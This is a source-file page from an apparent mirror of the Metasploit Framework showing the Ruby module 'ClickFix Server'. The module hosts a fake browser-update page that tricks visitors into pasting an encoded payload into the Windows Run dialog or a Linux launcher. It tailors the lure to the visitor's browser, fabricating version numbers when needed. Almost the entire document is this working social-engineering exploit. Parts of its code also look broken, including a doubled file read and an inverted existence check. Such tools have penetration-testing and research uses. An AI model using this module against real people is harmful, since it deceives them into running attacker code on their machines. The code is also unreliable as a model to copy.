/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/multi/misc/clickfix_server.rb
117 строк
5 KB
h00die
review touchups
08 май 2026, 15:50
08 май 2026, 15:50
cec7c71
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'base64' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'ClickFix Server', 'Description' => %q{ This creates a Web Server which hosts a ClickFix type exploit. When a user visits the site they are given instructions on pasting our payload into a run dialog. When using a custom html page, please use INSERT_PAYLOAD_HERE as the spot to put the generated payload in. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'boredchilada' # clickfix template inspiration ], 'References' => [ ['URL', 'https://www.hhs.gov/sites/default/files/clickfix-attacks-sector-alert-tlpclear.pdf'], ['URL', 'https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/'], ['URL', 'https://github.com/boredchilada/clickfix-simulator-2025'], ['URL', 'https://www.recordedfuture.com/research/clickfix-campaigns-targeting-windows-and-macos'] ], 'Payload' => { 'Space' => 245, # Reserve room for wrapper so final command fits Run dialog max 'DisableNops' => true }, 'Arch' => [ARCH_CMD], 'Stance' => Msf::Exploit::Stance::Passive, 'Passive' => true, 'Targets' => [ ['Windows', { 'Platform' => 'win' }], ['Linux', { 'Platform' => ['linux', 'unix'] }] ], 'DisclosureDate' => '2023-01-01', 'DefaultTarget' => 0, 'Notes' => { 'AKA' => ['ClickFix', 'ClearFake', 'Fake Update', 'CrashFix'], 'Stability' => [CRASH_SAFE], 'SideEffects' => [], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT] } ) ) # set the default port, and a URI that a user can set if the app isn't installed to the root register_options( [ OptPort.new('SRVPORT', [true, 'Web Server Port', 80]), OptEnum.new('TEMPLATE', [ true, 'Template style to use', 'auto', %w[auto custom]]), OptPath.new('CUSTOM', [false, 'Custom Template Path', ''], conditions: ['TEMPLATE', '==', 'custom']) ] ) end def on_request_uri(cli, request) if request.method == 'GET' user_agent = request['User-Agent'] print_status("Request #{request.uri} from #{user_agent}") # get our payload stubbed if target.name == 'Windows' p_load = payload.encoded.gsub(' start /B', '') # 'start /B' only works on cmd, not in the run dialog box p_load = "cmd /c \"#{p_load}\"" # run command dialog can't use & so we wrap in cmd else # Linux Application Finder can't have ; so wrap it in bash p_load = "bash -c \"#{payload.encoded}\"" end case datastore['TEMPLATE'] when 'custom' template = ::File.read(::File.read(datastore['CUSTOM'], mode: 'rb')) template.gsub!('INSERT_PAYLOAD_HERE', Base64.strict_encode64(p_load)) send_response(cli, ::File.read(datastore['CUSTOM'], mode: 'rb')) else template = ::File.read(File.join(Msf::Config.data_directory, 'exploits', 'clickfix', 'browser_update.html')) template.gsub!('INSERT_PAYLOAD_HERE', Base64.strict_encode64(p_load)) if user_agent =~ %r{Edg/} version = user_agent.match(%r{Edg/([\d.]+)}) template.gsub!('120.0.6099.0', version[1]) if version template.gsub!('Google Chrome', 'Microsoft Edge') template.gsub!('Chrome', 'Edge') if version elsif user_agent =~ /Chrome/ version = user_agent.match(%r{Chrome/([\d.]+)}) template.gsub!('120.0.6099.0', version[1]) if version elsif user_agent =~ /Firefox/ version = user_agent.match(%r{Firefox/([\d.]+)}) template.gsub!('120.0.6099.0', version[1]) if version template.gsub!('Google Chrome', 'Mozilla Firefox') template.gsub!('Chrome', 'Firefox') if version else # assume chrome based on marketshare fake_version = "#{rand(201..400)}.0.#{rand(1000..9999)}.0" template.gsub!('120.0.6099.0', fake_version) end send_response(cli, template) end end end def run if datastore['TEMPLATE'] == 'custom' && File.exist?(datastore['CUSTOM']) fail_with(Failure::BadConfig, "Custom template path not found: #{datastore['CUSTOM']}") end exploit # start http server end end